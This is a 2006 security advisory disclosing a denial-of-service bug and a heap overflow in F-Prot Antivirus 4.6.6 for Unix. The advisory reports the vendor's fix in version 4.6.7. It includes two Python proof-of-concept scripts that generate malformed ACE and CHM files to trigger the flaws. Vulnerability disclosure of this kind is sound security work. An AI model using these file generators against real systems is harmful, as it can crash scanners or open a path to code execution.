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fprot-dos.txt

Posted on 06 December 2006

Name:         F-Prot Antivirus for Unix: heap overflow and Denial of Service
Vendor:       http://www.f-prot.com
Release date: 4 Dec, 2006
URL:          http://gleg.net/fprot.txt
Author:       Evgeny Legerov <research@gleg.net>

I. DESCRIPTION

Two vulnerabilities in F-Prot Antivirus 4.6.6 for Unix platforms could allow a
remote attacker
to cause a DoS or execute an arbitrary code.

II. DETAILS

1. ACE file Denial of Service
When parsing a specially crafted ACE compressed file F-Prot Antivirus will enter
in an infinite loop.
See fprot1.py for more details.

2. CHM file heap overflow
When parsing a specially crafted CHM file a heap overflow will occur in F-Prot
Antivirus.
See fprot2.py for more details.

III. VENDOR RESPONSE

Update to F-Prot 4.6.7:
http://www.f-prot.com/news/gen_news/061201_release_unix467.html

IV. EXPLOITS

# fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# To test this code on Linux:
#
# create ACE compressed file
# $ ./fprot1.py > 1.ace
# $ f-prot 1.ace

import sys
import struct

ACE="""
58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14
02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a
55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52
53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff
00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00
02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41
41 41 41 41 41
"""

s = ""
for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:
s += i

sys.stdout.write(s)

# fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap
# overflow
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# $ ./fprot2.py > 1.chm
# $ f-prot 1.chm

import sys
import struct

s=""
s+="ITSF"        # signature
s+=struct.pack("<L",3) # version
s+=struct.pack("<L",96) # header_len
s+=struct.pack("<L",1) # unknown
s+=struct.pack("<L",0x41424344) # last_modified
s+=struct.pack("<L",0x419) # lang_id
s+="A"*16 #dir_clsid
s+="B"*16 #stream_clsid
s+=struct.pack("<L",96) + "x00" * 4 #sec0_offset
s+=struct.pack("<L",24) + "x00" * 4 #sec0_len
s+=struct.pack("<L",120) + "x00" *4 #dir_offset
s+=struct.pack("<L",4180) + "x00" * 4 #dir_len
s+=struct.pack("<L",4300) + "x00"*4 #data_offset
s+="A"*24
s+="ITSP"
s+=struct.pack("<L", 1) # version
s+=struct.pack("<L",0x54) # header_len
s+=struct.pack("<L", 0xa) # unknown
s+=struct.pack("<L",1000) # block_len - BUG?
s+=struct.pack("<L",2) # blockidx
s+=struct.pack("<L", 1) # index_depth
s+=struct.pack("<L", -1) # index_root
s+=struct.pack("<L",0) # index_head
s+=struct.pack("<L",0) # index_tail
s+=struct.pack("<L", -1) # unknown2
s+=struct.pack("<L",1) # num_blocks
s+=struct.pack("<L", 1033) # lang_id
s+="A"*32
s+="B"*10000

sys.stdout.write(s)

V. CREDIT

Discovered by Evgeny Legerov.

The vulnerabilities are part of VulnDisco Pack for CANVAS since Sep, 2006.

 

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